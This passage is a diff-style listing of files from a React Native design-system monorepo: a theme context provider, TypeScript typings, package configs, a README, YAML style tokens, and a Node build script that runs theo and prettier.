
		getThemeStyle = (component: string, variant: string): any => {
		const { currentTheme } = this.state

		const suffixes: { [key: string]: string[] } = {
		button: ['__text'],
		}

		const keys = [`${component}__${variant}`]

		const additionalKeys = [...(suffixes[component] \|\| [])]

		return keys.reduce(
		(accumulator: any, key: string) => [
		currentTheme[key],
		...additionalKeys.map(suffix => currentTheme[`${key}${suffix}`]),
		],
		[]
		)
		}

		render() {
		const { currentTheme } = this.state

		return (
		<Provider
		value={{
		theme: themeStyleSheets[currentTheme],
		setTheme: this.setTheme,
		getThemeStyle: this.getThemeStyle,
		}}
		>
		{this.props.children}
		</Provider>
		)
		}
		}

		export { ThemeProvider as Provider, Consumer }

-22

packages/components/src/ThemeContext/withTheme.tsx

		import * as React from 'react'
		import * as ThemeContext from './index'
		import { WithThemeProps } from '../typings'

		export function withTheme<OriginalProps extends WithThemeProps>(
		Component: React.ComponentType<OriginalProps>
		) {
		return function ThemedComponent(
		props: Pick<
		OriginalProps,
		Exclude<keyof OriginalProps, keyof WithThemeProps>
		>
		) {
		return (
		<ThemeContext.Consumer>
		{themeProps => (
		<Component {...props as OriginalProps} {...themeProps} />
		)}
		</ThemeContext.Consumer>
		)
		}
		}

-29

packages/components/src/typings/index.ts

		import { StyleProp, TextStyle, ViewStyle } from 'react-native'

		export type PickU<T, K extends keyof T> = T extends any
		? { [P in K]: T[P] }
		: never

		export type Theme = 'base' \| 'high-contrast' \| 'compact'

		export interface WithThemeProps {
		theme: { [style: string]: number }
		setTheme: (theme: Theme) => void
		getThemeStyle: (
		component: string,
		variant: string
		) => StyleProp<TextStyle \| ViewStyle>[]
		}

		export type ThemedComponent<Props> = Props & WithThemeProps

		// Omits 'style' prop to discourage overriding styles provided
		// by the theme which should be treated as immutable to protect
		// cross-platform consistency.
		export type ThemedComponentLocked<Props> = Pick<
		Props,
		Exclude<keyof Props, 'style'>
		> &
		WithThemeProps

		export type ButtonTheme = 'base' \| 'primary' \| 'secondary'

-14

packages/components/tsconfig.json

		{
		"extends": "../../tsconfig.base.json",
		"exclude": ["node_modules"],
		"compilerOptions": {
		"baseUrl": ",",
		"outDir": "dist",
		"target": "es2017",
		"module": "commonjs",
		"jsx": "react-native",
		"lib": ["es2015", "es2016", "es2017"],
		"declaration": true,
		"typeRoots": ["./src/typings"]
		}
		}

-4

packages/docs/doczrc.js

		module.exports = {
		title: 'Docz Typescript',
		typescript: true,
		}

-13

packages/docs/package.json

		{
		"name": "@virtahealth/substrate-docs",
		"version": "1.0.0",
		"description": "Substrate Docs",
		"main": "index.js",
		"author": "Pete Petrash <pete@virtahealth.com>",
		"license": "MIT",
		"scripts": {
		"start": "docz dev",
		"build": "docz build",
		"clean": "true"
		}
		}

packages/docs/src/index.mdx

Sorry, the diff of this file is not supported yet

-9

packages/docs/tsconfig.json

		{
		"extends": "../../tsconfig.base.json",
		"compilerOptions": {
		"rootDir": "./src",
		"outDir": "./built"
		},
		"include": ["src/*/"],
		"exclude": ["node_modules/**"]
		}

-6

packages/styles/CHANGELOG.md

		<img src="https://s3-us-west-2.amazonaws.com/ketoaccountimagesprod/virta-logo-email.png" width="70">

		# Change Log

		All notable changes to this project will be documented in this file.
		See [Conventional Commits](https://conventionalcommits.org) for commit guidelines.

-37

packages/styles/package.json

		{
		"name": "@virtahealth/substrate-styles",
		"description": "Substrate Styles",
		"version": "1.0.0",
		"license": "MIT",
		"author": "Pete Petrash <pete@virtahealth.com>",
		"main": "dist/index.js",
		"files": [
		"dist"
		],
		"engines": {
		"node": ">=12.16.1"
		},
		"typings": "dist",
		"sideEffects": false,
		"publishConfig": {
		"access": "public"
		},
		"scripts": {
		"start": "run-s watch:*",
		"watch": "yarn build:ts -- --watch",
		"build": "run-s clean build:ts build:styles",
		"build:ts": "../../node_modules/typescript/bin/tsc --p ./tsconfig.json",
		"build:styles": "node --no-warnings ./built/build.js",
		"watch:styles": "node --no-warnings ./built/build.js --watch",
		"clean": "run-p -s clean:artifacts",
		"clean:artifacts": "rimraf ./built"
		},
		"devDependencies": {
		"@types/lodash": "4.14.155",
		"@types/theo": "8.1.3",
		"lodash": "4.17.15",
		"please-upgrade-node": "3.2.0",
		"prettier": "2.0.5",
		"theo": "8.1.5"
		}
		}

-32

packages/styles/README.md

		<img src="https://s3-us-west-2.amazonaws.com/ketoaccountimagesprod/virta-logo-email.png" width="70">

		# Substrate Styles

		Cross-platform styling properties and UI theme generation.

		## Visual Primitives

		Visual primitives are constants that define fundamental visual language attributes like color, spacing, typography and size. These can be composed to create a theme.

		👀 [View primitives ➞](https://github.com/VirtaHealth/substrate/tree/master/packages/styles/src/primitives)

		## Themes

		Themes are the mapping of visual primitives to UI components like text, buttons, inputs, etc. A theme provides all the visual properties necessary to style new and existing UI components. Multiple alternate themes can be created, unified by shared primitives.

		👀 [View themes ➞](https://github.com/VirtaHealth/substrate/tree/master/packages/styles/src/themes)

		## Universal Format

		All Substrate primitives and styles are encoded in YAML, transformed into multiple formats and syntaxes with Theo, and exported for consumption by any Virta app or website.

		When built, styles are emitted to `./dist` in these formats:

		- ES6 Modules
		- CSS Modules
		- JSON
		- TypeScript Definitions (.d.ts)

		## Custom Themes

		Substrate exports a set of base styles that constitute a base theme. Custom themes can be created from the base theme by using overrides, either locally in a project's style assignments or, in special cases, a custom theme exported from Substrate.

-68

packages/styles/src/aliases/color.yml

		aliases:
		# Oxygen
		OXYGEN_BLUE_100: 'rgb(226, 246, 255)'
		OXYGEN_BLUE_300: 'rgb(158, 219, 255)'
		OXYGEN_BLUE_500: 'rgb(35, 175, 255)'
		OXYGEN_BLUE_700: 'rgb(34, 110, 173)'
		OXYGEN_BLUE_900: 'rgb(13, 70, 129)'

		# Calcium
		CALCIUM_BLUE_100: 'rgb(223, 242, 255)'
		CALCIUM_BLUE_300: 'rgb(132, 170, 198)'
		CALCIUM_BLUE_500: 'rgb(84, 132, 164)'
		CALCIUM_BLUE_700: 'rgb(55, 97, 123)'
		CALCIUM_BLUE_900: 'rgb(22, 56, 76)'

		# Carbon
		CARBON_GRAY_100: 'rgb(249, 250, 251)'
		CARBON_GRAY_300: 'rgb(227, 232, 241)'
		CARBON_GRAY_500: 'rgb(140, 148, 157)'
		CARBON_GRAY_700: 'rgb(89, 94, 101)'
		CARBON_GRAY_900: 'rgb(36, 38, 43)'

		# Hydrogen
		HYDROGEN_GREEN_100: 'rgb(220, 243, 239)'
		HYDROGEN_GREEN_300: 'rgb(112, 200, 181)'
		HYDROGEN_GREEN_500: 'rgb(0, 156, 122)'
		HYDROGEN_GREEN_700: 'rgb(1, 116, 85)'
		HYDROGEN_GREEN_900: 'rgb(0, 82, 52)'

		# Nitrogen
		NITROGEN_PURPLE_100: 'rgb(239, 231, 244)'
		NITROGEN_PURPLE_300: 'rgb(193, 158, 212)'
		NITROGEN_PURPLE_500: 'rgb(150, 106, 180)'
		NITROGEN_PURPLE_700: 'rgb(104, 64, 148)'
		NITROGEN_PURPLE_900: 'rgb(63, 47, 120)'

		# Magnesium
		MAGNESIUM_PINK_100: 'rgb(252, 228, 240)'
		MAGNESIUM_PINK_300: 'rgb(252, 156, 202)'
		MAGNESIUM_PINK_500: 'rgb(240, 39, 141)'
		MAGNESIUM_PINK_700: 'rgb(203, 0, 113)'
		MAGNESIUM_PINK_900: 'rgb(143, 1, 99)'

		# Phosphorous
		PHOSPHOROUS_ORANGE_100: 'rgb(255, 234, 204)'
		PHOSPHOROUS_ORANGE_300: 'rgb(252, 176, 65)'
		PHOSPHOROUS_ORANGE_500: 'rgb(255, 149, 0)'
		PHOSPHOROUS_ORANGE_700: 'rgb(160, 82, 4)'
		PHOSPHOROUS_ORANGE_900: 'rgb(127, 58, 5)'

		# Iron
		IRON_RED_100: 'rgb(253, 215, 220)'
		IRON_RED_300: 'rgb(252, 142, 135)'
		IRON_RED_500: 'rgb(230, 66, 56)'
		IRON_RED_700: 'rgb(186, 40, 41)'
		IRON_RED_900: 'rgb(134, 9, 11)'

		# Chlorine
		CHLORINE_GREEN_100: 'rgb(199, 237, 210)'
		CHLORINE_GREEN_300: 'rgb(111, 211, 148)'
		CHLORINE_GREEN_500: 'rgb(0, 172, 71)'
		CHLORINE_GREEN_700: 'rgb(1, 113, 36)'
		CHLORINE_GREEN_900: 'rgb(0, 84, 18)'

		# Special
		WHITE: 'rgb(255,255,255)'
		BLACK: 'rgb(0,0,0)'
		TRANSPARENT: 'transparent'

-37

packages/styles/src/aliases/font-family.yml

		aliases:
		# CSS font-family stack
		FONT_FAMILY_SANS_SERIF_STACK_WEB: 'Whitney, Arial, sans-serif'
		FONT_FAMILY_MONOSPACE_STACK_WEB: 'Monaco, Menlo, monospace'
		FONT_FAMILY_NUMERIC_STACK_WEB: 'Whitney, Arial, sans-serif'
		FONT_FAMILY_SMALLCAPS_STACK_WEB: 'Whitney, Arial, sans-serif'

		# Font full name & PostScript name
		FONT_FAMILY_SANS_SERIF_LIGHT_FULLNAME: 'Whitney Light'
		FONT_FAMILY_SANS_SERIF_LIGHT_POSTSCRIPT: 'Whitney-Light'
		FONT_FAMILY_SANS_SERIF_LIGHTITAL_FULLNAME: 'Whitney Light Italic'
		FONT_FAMILY_SANS_SERIF_LIGHTITAL_POSTSCRIPT: 'Whitney-LightItal'

		FONT_FAMILY_SANS_SERIF_BOOK_FULLNAME: 'Whitney Book'
		FONT_FAMILY_SANS_SERIF_BOOK_POSTSCRIPT: 'Whitney-Book'
		FONT_FAMILY_SANS_SERIF_BOOKITAL_FULLNAME: 'Whitney Book Italic'
		FONT_FAMILY_SANS_SERIF_BOOKITAL_POSTSCRIPT: 'Whitney-BookItal'

		FONT_FAMILY_SANS_SERIF_MEDIUM_FULLNAME: 'Whitney Medium'
		FONT_FAMILY_SANS_SERIF_MEDIUM_POSTSCRIPT: 'Whitney-Medium'
		FONT_FAMILY_SANS_SERIF_MEDIUMITAL_FULLNAME: 'Whitney Medium Italic'
		FONT_FAMILY_SANS_SERIF_MEDIUMITAL_POSTSCRIPT: 'Whitney-MediumItal'

		FONT_FAMILY_SANS_SERIF_SEMIBOLD_FULLNAME: 'Whitney Semibold'
		FONT_FAMILY_SANS_SERIF_SEMIBOLD_POSTSCRIPT: 'Whitney-Semibold'
		FONT_FAMILY_SANS_SERIF_SEMIBOLDITAL_FULLNAME: 'Whitney Semibold Italic'
		FONT_FAMILY_SANS_SERIF_SEMIBOLDITAL_POSTSCRIPT: 'Whitney-SemiboldItal'

		FONT_FAMILY_SANS_SERIF_BOLD_FULLNAME: 'Whitney Bold'
		FONT_FAMILY_SANS_SERIF_BOLD_POSTSCRIPT: 'Whitney-Bold'
		FONT_FAMILY_SANS_SERIF_BOLDITAL_FULLNAME: 'Whitney Bold Italic'
		FONT_FAMILY_SANS_SERIF_BOLDITAL_POSTSCRIPT: 'Whitney-BoldItal'

		FONT_FAMILY_SANS_SERIF_BLACK_FULLNAME: 'Whitney Black'
		FONT_FAMILY_SANS_SERIF_BLACK_POSTSCRIPT: 'Whitney-Black'
		FONT_FAMILY_SANS_SERIF_BLACKITAL_FULLNAME: 'Whitney Black Italic'
		FONT_FAMILY_SANS_SERIF_BLACKITAL_POSTSCRIPT: 'Whitney-BlackItal'

-16

packages/styles/src/aliases/font-size.yml

		aliases:
		FONT_SIZE_BASE: 16
		FONT_SIZE_1: 0.625rem
		FONT_SIZE_2: 0.75rem
		FONT_SIZE_3: 0.875rem
		FONT_SIZE_4: 1rem
		FONT_SIZE_5: 1.125rem
		FONT_SIZE_6: 1.25rem
		FONT_SIZE_7: 1.5rem
		FONT_SIZE_8: 1.75rem
		FONT_SIZE_9: 2rem
		FONT_SIZE_10: 2.75rem
		FONT_SIZE_11: 3rem
		FONT_SIZE_12: 3.75rem
		FONT_SIZE_13: 4.5rem
		FONT_SIZE_14: 5.625rem

-9

packages/styles/src/aliases/font-weight.yml

		aliases:
		FONT_WEIGHT_1: 100
		FONT_WEIGHT_2: 200
		FONT_WEIGHT_3: 300
		FONT_WEIGHT_4: 400
		FONT_WEIGHT_5: 500
		FONT_WEIGHT_6: 600
		FONT_WEIGHT_7: 700
		FONT_WEIGHT_8: 800

-10

packages/styles/src/aliases/space.yml

		aliases:
		SPACE_1: 0.125rem
		SPACE_2: 0.25rem
		SPACE_3: 0.5rem
		SPACE_4: 0.75rem
		SPACE_5: 1rem
		SPACE_6: 1.5rem
		SPACE_7: 2rem
		SPACE_8: 3rem
		SPACE_9: 6rem

-218

packages/styles/src/build.ts

		import * as path from 'path'
		import rimraf from 'rimraf'
		import { promises as fsPromise, lstatSync, readdirSync, watch } from 'fs'
		import { exec } from 'child_process'
		import { promisify } from 'util'
		import { flatten, flattenDeep, upperFirst, camelCase } from 'lodash'

		import { Transform, Format } from './../typings'

		import * as log from './helpers/console'

		// Check node version
		const pkg = require('../package.json')
		require('please-upgrade-node')(pkg)

		const promiseRimraf = promisify(rimraf)
		const promiseExec = promisify(exec)

		const SRC_PATH = path.join(__dirname, '..', 'src')
		const THEMES_PATH = path.join(__dirname, '..', 'src', 'themes')
		const PRIMITIVES_PATH = path.join(__dirname, '..', 'src', 'primitives')
		const DIST_PATH = path.join(__dirname, '..', 'dist')
		const NODE_MODULES_BIN = path.join(
		__dirname,
		'..',
		'..',
		'..',
		'node_modules',
		'.bin'
		)
		const THEO_PATH = path.join(NODE_MODULES_BIN, 'theo')
		const THEO_SETUP_PATH = path.join(__dirname, '..', 'built', 'theoSetup.js')
		const PRETTIER_PATH = path.join(NODE_MODULES_BIN, 'prettier')

		const stamp = `/* DO NOT EDIT — This file is generated by build script. */`

		interface TheoConfig {
		entry: string
		setup: string
		dest: string
		output: { [key in Transform]?: Format[] }
		}

		const themeOutputConfig: TheoConfig = {
		entry: 'index.yml',
		setup: THEO_SETUP_PATH,
		dest: DIST_PATH,
		output: {
		reactnative: ['js', 'd.ts'],
		},
		}

		const primitivesOutputConfig: TheoConfig = {
		entry: `${PRIMITIVES_PATH}/index.yml`,
		setup: THEO_SETUP_PATH,
		dest: `${DIST_PATH}/primitives`,
		output: {
		primitives: ['primitives.js', 'primitives.d.ts'],
		},
		}

		const getSubdirectories = (source: string) =>
		readdirSync(source)
		.map((name: string) => path.join(source, name))
		.filter((path: string) => lstatSync(path).isDirectory())
		const pascalCase = (str: string) => `${upperFirst(camelCase(str))}`

		const themeNameAndPathMap = Object.entries(
		getSubdirectories(THEMES_PATH).reduce(
		(acc, themePath: string) => ({
		...acc,
		[`${pascalCase(path.basename(themePath))}Theme`]: `${path.basename(
		themePath
		)}`,
		}),
		{}
		)
		)

		async function execTheo(
		entry: string,
		setup: string,
		dest: string,
		transform: Transform,
		format: Format
		) {
		const { stdout, stderr } = await promiseExec(
		`${THEO_PATH} ${entry} --setup ${setup} --dest ${dest} --transform ${transform} --format ${format}`
		)

		if (stdout) {
		log.log(stdout)
		}

		if (stderr) {
		log.error(stderr)
		}
		}

		async function watchStyles() {
		watch(
		SRC_PATH,
		{ encoding: 'buffer', recursive: true },
		(eventType, filename) => {
		log.watch(`Watching @substrate-styles...`)

		if (filename) {
		log.changed(`'${filename}' changed. Refreshing themes...`)

		compileThemeModules()
		compileStylePrimitives()
		}
		}
		)
		}

		async function compileThemeModules() {
		await Promise.all(
		flattenDeep(
		getSubdirectories(THEMES_PATH).map((themePath) => {
		const { entry: themeEntry, dest, output, setup } = themeOutputConfig
		const entry = `${themePath}/${themeEntry}`
		const destination = `${dest}/${path.basename(themePath)}`

		return Object.entries(output).map(([transform, formats]) =>
		formats!.map((format: Format) =>
		execTheo(entry, setup, destination, transform as Transform, format)
		)
		)
		})
		)
		)

		log.success(`Compile themes in './src/themes' with theo`)
		}

		async function compileStylePrimitives(): Promise<void> {
		const { entry, dest, output, setup } = primitivesOutputConfig

		await Promise.all(
		flatten(
		Object.entries(output).map(([transform, formats]) =>
		formats!.map((format) =>
		execTheo(entry, setup, dest, transform as Transform, format)
		)
		)
		)
		)

		log.success(`Compiled style primitives`)
		}

		async function prettify(): Promise<void> {
		const { stdout, stderr } = await promiseExec(
		`${PRETTIER_PATH} --write --loglevel=silent ${DIST_PATH}/*/.{ts,js,css,json}`
		)

		if (stdout) {
		log.log(stdout)
		}

		if (stderr) {
		log.error(stderr)
		} else {
		log.success(`Prettified`)
		}
		}

		async function createIndexEntryFiles(): Promise<void> {
		const primitivesExport = `export { default as Primitives } from './primitives/index.primitives'\n`
		const primitivesDeclaration = `export { _default as Primitives } from './primitives/index.primitives'\n`
		const themeExports = themeNameAndPathMap.reduce((acc, [name, dirname]) => {
		return acc.concat(`export { default as ${name} } from './${dirname}'\n`)
		}, ``)
		const themeDeclaration = themeNameAndPathMap.reduce(
		(acc, [name, dirname]) => {
		return acc.concat(`export { _default as ${name} } from './${dirname}'\n`)
		},
		``
		)

		await fsPromise.writeFile(
		`${DIST_PATH}/index.js`,
		`${stamp}\n${primitivesExport + themeExports}`
		)
		await fsPromise.writeFile(
		`${DIST_PATH}/index.d.ts`,
		`${stamp}\n${primitivesDeclaration + themeDeclaration}`
		)

		log.success(`Created entry point at ./dist/index.js`)
		}

		async function clean(): Promise<void> {
		await promiseRimraf(DIST_PATH)
		await fsPromise.mkdir(DIST_PATH)
		}

		async function buildThemes() {
		log.action(`⚗️ Synthesizing themes and entry points...`)
		await compileThemeModules()
		await createIndexEntryFiles()
		await compileStylePrimitives()
		await prettify()
		log.success(`Themes ready.`)
		}

		async function main() {
		console.log(`${log.substrateHeaderText}`)
		if (process.argv.length && process.argv[2] === '--watch') {
		await watchStyles()
		} else {
		await clean()
		await buildThemes()
		}
		}

		main()

-28

packages/styles/src/helpers/console.ts

		const chalk = require('chalk')

		const COLOR_BRAND = '#23afff'
		const COLOR_WATCH = '#FAAF4D'
		const COLOR_ACTION = '#E3E8F1'
		const COLOR_UPDATE = '#FEE9CD'

		export const substrateHeaderText = chalk
		.hex('#23afff')
		.bold('Substrate Styles 🎨')

		export const prependOutput = (output: string) => (
		fn: (text: string) => void
		) => {
		fn(`${chalk.hex(COLOR_BRAND).bold.dim('‣')} ` + output)
		}
		export const log = (text: string) => prependOutput(text)(console.log)
		export const error = (text: string) => prependOutput(text)(console.error)
		export const success = (text: string) =>
		prependOutput(`${chalk.green(`✓`)} ${text}`)(console.log)
		export const watch = (text: string) =>
		prependOutput(chalk.hex(COLOR_WATCH).bold(`✳︎ ${text}`))(console.log)
		export const action = (text: string) =>
		prependOutput(chalk.hex(COLOR_ACTION).italic.dim(`${text}`))(console.log)
		export const changed = (text: string) =>
		prependOutput(chalk.hex(COLOR_UPDATE).dim(`✳︎ ${text}`))(console.log)

		export default log

-2

packages/styles/src/helpers/index.ts

		export * from './styleMap'
		export * from './console'

-53

packages/styles/src/helpers/styleMap.ts

		import { chain } from 'lodash'
		import { ImmutableStyleMap } from 'theo'

		import { Theme, ThemeStyle } from '../../typings'

		const categorizeStyles = (styleMap: ImmutableStyleMap) => {
		const styleProps: ThemeStyle[] = styleMap.get('props').toJS()
		return chain(styleProps)
		.sortBy('name')
		.groupBy('category')
		.value()
		}

		export const createThemeObjectFromStyles = (
		styleData: ImmutableStyleMap
		): Readonly<Theme> => {
		const theme: Theme = Object.entries(categorizeStyles(styleData)).reduce(
		(acc, [category, styles]) => ({
		...acc,
		...styles.reduce((prev: any, style: ThemeStyle) => {
		return {
		...prev,
		[style.name]: style.value,
		}
		}, {}),
		}),
		{}
		)

		return Object.freeze(theme)
		}

		export const createPrimitivesFromStyles = (
		styleData: ImmutableStyleMap
		): Readonly<any> => {
		const primitives = Object.entries(categorizeStyles(styleData)).reduce(
		(acc, [category, styles]) => ({
		...acc,
		...styles.reduce((prev: any, style: ThemeStyle) => {
		return {
		...prev,
		[category]: {
		...prev[category],
		[style.name]: style.value,
		},
		}
		}, {}),
		}),
		{}
		)

		return Object.freeze(primitives)
		}

-36

packages/styles/src/primitives/border.yml

		global:
		category: border
		props:
		# Border Width
		borderWidth1:
		value: 0.03125rem
		type: size
		borderWidth2:
		value: 0.0625rem
		type: size
		borderWidth3:
		value: 0.125rem
		type: size
		borderWidth4:
		value: 0.25rem
		type: size
		borderWidth5:
		value: 0.5rem
		type: size

		# Border Radius
		borderRadius1:
		value: 0.03125rem
		type: size
		borderRadius2:
		value: 0.0625rem
		type: size
		borderRadius3:
		value: 0.125rem
		type: size
		borderRadius4:
		value: 0.25rem
		type: size
		borderRadius5:
		value: 0.5rem
		type: size

-93

packages/styles/src/primitives/color.yml

		global:
		category: color
		type: color
		imports:
		- ../aliases/color.yml
		props:
		oxygenBlue100:
		value: '{!OXYGEN_BLUE_100}'
		oxygenBlue300:
		value: '{!OXYGEN_BLUE_300}'
		oxygenBlue500:
		value: '{!OXYGEN_BLUE_500}'
		oxygenBlue700:
		value: '{!OXYGEN_BLUE_700}'
		oxygenBlue900:
		value: '{!OXYGEN_BLUE_900}'

		calciumBlue100:
		value: '{!CALCIUM_BLUE_100}'
		calciumBlue300:
		value: '{!CALCIUM_BLUE_300}'
		calciumBlue500:
		value: '{!CALCIUM_BLUE_500}'
		calciumBlue700:
		value: '{!CALCIUM_BLUE_700}'
		calciumBlue900:
		value: '{!CALCIUM_BLUE_900}'

		carbonGray100:
		value: '{!CARBON_GRAY_100}'
		carbonGray300:
		value: '{!CARBON_GRAY_300}'
		carbonGray500:
		value: '{!CARBON_GRAY_500}'
		carbonGray700:
		value: '{!CARBON_GRAY_700}'
		carbonGray900:
		value: '{!CARBON_GRAY_900}'

		hydrogenGreen100:
		value: '{!HYDROGEN_GREEN_100}'
		hydrogenGreen300:
		value: '{!HYDROGEN_GREEN_300}'
		hydrogenGreen500:
		value: '{!HYDROGEN_GREEN_500}'
		hydrogenGreen700:
		value: '{!HYDROGEN_GREEN_700}'
		hydrogenGreen900:
		value: '{!HYDROGEN_GREEN_900}'

		nitrogenPurple100:
		value: '{!NITROGEN_PURPLE_100}'
		nitrogenPurple300:
		value: '{!NITROGEN_PURPLE_300}'
		nitrogenPurple500:
		value: '{!NITROGEN_PURPLE_500}'
		nitrogenPurple700:
		value: '{!NITROGEN_PURPLE_700}'
		nitrogenPurple900:
		value: '{!NITROGEN_PURPLE_900}'

		magnesiumPink100:
		value: '{!MAGNESIUM_PINK_100}'
		magnesiumPink300:
		value: '{!MAGNESIUM_PINK_300}'
		magnesiumPink500:
		value: '{!MAGNESIUM_PINK_500}'
		magnesiumPink700:
		value: '{!MAGNESIUM_PINK_700}'
		magnesiumPink900:
		value: '{!MAGNESIUM_PINK_900}'

		ironRed100:
		value: '{!IRON_RED_100}'
		ironRed300:
		value: '{!IRON_RED_300}'
		ironRed500:
		value: '{!IRON_RED_500}'
		ironRed700:
		value: '{!IRON_RED_700}'
		ironRed900:
		value: '{!IRON_RED_900}'

		phosphorousOrange100:
		value: '{!PHOSPHOROUS_ORANGE_100}'
		phosphorousOrange300:
		value: '{!PHOSPHOROUS_ORANGE_300}'
		phosphorousOrange500:
		value: '{!PHOSPHOROUS_ORANGE_500}'
		phosphorousOrange700:
		value: '{!PHOSPHOROUS_ORANGE_700}'
		phosphorousOrange900:
		value: '{!PHOSPHOROUS_ORANGE_900}'

-75

packages/styles/src/primitives/font.yml

		global:
		category: font
		meta:
		scalar: true
		imports:
		- ../aliases/font-size.yml
		- ../aliases/font-weight.yml
		props:
		fontSize1:
		value: '{!FONT_SIZE_1}'
		type: size
		fontSize2:
		value: '{!FONT_SIZE_2}'
		type: size
		fontSize3:
		value: '{!FONT_SIZE_3}'
		type: size
		fontSize4:
		value: '{!FONT_SIZE_4}'
		type: size
		fontSize5:
		value: '{!FONT_SIZE_5}'
		type: size
		fontSize6:
		value: '{!FONT_SIZE_6}'
		type: size
		fontSize7:
		value: '{!FONT_SIZE_7}'
		type: size
		fontSize8:
		value: '{!FONT_SIZE_8}'
		type: size
		fontSize9:
		value: '{!FONT_SIZE_9}'
		type: size
		fontSize10:
		value: '{!FONT_SIZE_10}'
		type: size
		fontSize11:
		value: '{!FONT_SIZE_11}'
		type: size
		fontSize12:
		value: '{!FONT_SIZE_12}'
		type: size
		fontSize13:
		value: '{!FONT_SIZE_13}'
		type: size
		fontSize14:
		value: '{!FONT_SIZE_14}'
		type: size

		fontWeight1:
		value: '{!FONT_WEIGHT_1}'
		type: number
		fontWeight2:
		value: '{!FONT_WEIGHT_2}'
		type: number
		fontWeight3:
		value: '{!FONT_WEIGHT_3}'
		type: number
		fontWeight4:
		value: '{!FONT_WEIGHT_4}'
		type: number
		fontWeight5:
		value: '{!FONT_WEIGHT_5}'
		type: number
		fontWeight6:
		value: '{!FONT_WEIGHT_6}'
		type: number
		fontWeight7:
		value: '{!FONT_WEIGHT_7}'
		type: number
		fontWeight8:
		value: '{!FONT_WEIGHT_8}'
		type: number

-7

packages/styles/src/primitives/index.yml

		imports:
		- './border.yml'
		- './color.yml'
		- './shadow.yml'
		- './space.yml'
		- './font.yml'
		- './z-index.yml'

-15

packages/styles/src/primitives/shadow.yml

		global:
		category: shadow
		type: box-shadow
		imports:
		- ../aliases/color.yml
		- ../aliases/space.yml
		props:
		shadow0:
		value: '{!CALCIUM_BLUE_500} 0 {!SPACE_2} {!SPACE_3} 0'
		shadow1:
		value: '{!CALCIUM_BLUE_300} 0 {!SPACE_2} {!SPACE_2} 0'
		shadow2:
		value: '{!CALCIUM_BLUE_300} 0 {!SPACE_1} {!SPACE_1} 0'
		shadow3:
		value: '{!CALCIUM_BLUE_500} 0 {!SPACE_2} {!SPACE_2} 0'

-24

packages/styles/src/primitives/space.yml

		global:
		category: space
		type: size
		imports:
		- ../aliases/space.yml
		props:
		space1:
		value: '{!SPACE_1}'
		space2:
		value: '{!SPACE_2}'
		space3:
		value: '{!SPACE_3}'
		space4:
		value: '{!SPACE_4}'
		space5:
		value: '{!SPACE_5}'
		space6:
		value: '{!SPACE_6}'
		space7:
		value: '{!SPACE_7}'
		space8:
		value: '{!SPACE_8}'
		space9:
		value: '{!SPACE_9}'

-24

packages/styles/src/primitives/z-index.yml

		global:
		category: z-index
		type: number
		props:
		zIndexRoot:
		value: 1
		zIndexNavbar:
		value: 2
		zIndexTooltip:
		value: 3
		zIndexPopover:
		value: 4
		zIndexModal:
		value: 5
		zIndexDialog:
		value: 6
		zIndexAlert:
		value: 7
		zIndexStratosphere:
		value: 777
		zIndexMesosphere:
		value: 888
		zIndexThermosphere:
		value: 999

-40

packages/styles/src/themes/base-compact/button.yml

		global:
		category: button
		imports:
		- ../../aliases/color.yml
		- ../../aliases/space.yml
		- ../../aliases/font-size.yml
		- ../../aliases/font-weight.yml
		props:
		# Base Button
		button__base__minHeight:
		value: 1.5rem
		type: size
		button__base__paddingHorizontal:
		value: '{!SPACE_2}'
		type: size
		button__base__borderRadius:
		value: '{!SPACE_2}'
		type: size

		# Primary Button
		button__primary__minHeight:
		value: 1.5rem
		type: size
		button__primary__paddingHorizontal:
		value: '{!SPACE_2}'
		type: size
		button__primary__borderRadius:
		value: '{!SPACE_2}'
		type: size

		# Secondary Button
		button__secondary__minHeight:
		value: 1.5rem
		type: size
		button__secondary__paddingHorizontal:
		value: '{!SPACE_2}'
		type: size
		button__secondary__borderRadius:
		value: '{!SPACE_2}'
		type: size

-4

packages/styles/src/themes/base-compact/index.yml

		imports:
		- '../base/index.yml'
		- './text.yml'
		- './button.yml'

-118

packages/styles/src/themes/base-compact/text.yml

		global:
		category: text
		imports:
		- ../../aliases/font-family.yml
		- ../../aliases/font-size.yml
		- ../../aliases/font-weight.yml
		- ../../aliases/color.yml
		props:
		# Body Text
		text__body__fontSize:
		value: '{!FONT_SIZE_6}'
		type: size
		text__body__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__body__lineHeight:
		value: '{!FONT_SIZE_6}'
		type: size

		# Heading 1
		text__heading1__fontSize:
		value: '{!FONT_SIZE_6}'
		type: size
		text__heading1__fontWeight:
		value: '{!FONT_WEIGHT_6}'
		type: number
		text__heading1__lineHeight:
		value: '{!FONT_SIZE_6}'
		type: size
		text__heading1__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color

		# Heading 2
		text__heading2__fontSize:
		value: '{!FONT_SIZE_5}'
		type: size
		text__heading2__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__heading2__lineHeight:
		value: '{!FONT_SIZE_5}'
		type: size
		text__heading2__letterSpacing:
		value: 0
		type: number

		# Heading 3
		text__heading3__fontSize:
		value: '{!FONT_SIZE_4}'
		type: size
		text__heading3__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__heading3__lineHeight:
		value: '{!FONT_SIZE_4}'
		type: size

		# Heading 4
		text__heading4__fontSize:
		value: '{!FONT_SIZE_3}'
		type: size
		text__heading4__fontWeight:
		value: '{!FONT_WEIGHT_6}'
		type: number
		text__heading4__lineHeight:
		value: '{!FONT_SIZE_3}'
		type: size

		# Smallcaps
		text__smallcaps__fontSize:
		value: '{!FONT_SIZE_3}'
		type: size
		text__smallcaps__letterSpacing:
		value: 1
		type: number
		text__smallcaps__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__smallcaps__lineHeight:
		value: '{!FONT_SIZE_3}'
		type: size

		# Blockquote
		text__blockquote__fontSize:
		value: '{!FONT_SIZE_6}'
		type: size
		text__blockquote__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__blockquote__lineHeight:
		value: '{!FONT_SIZE_6}'
		type: size

		# Caption
		text__caption__fontSize:
		value: '{!FONT_SIZE_2}'
		type: size
		text__caption__letterSpacing:
		value: 0
		type: number
		text__caption__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__caption__lineHeight:
		value: '{!FONT_SIZE_2}'
		type: size

		# Monospace
		text__monospace__fontSize:
		value: '{!FONT_SIZE_4}'
		type: size
		text__monospace__fontWeight:
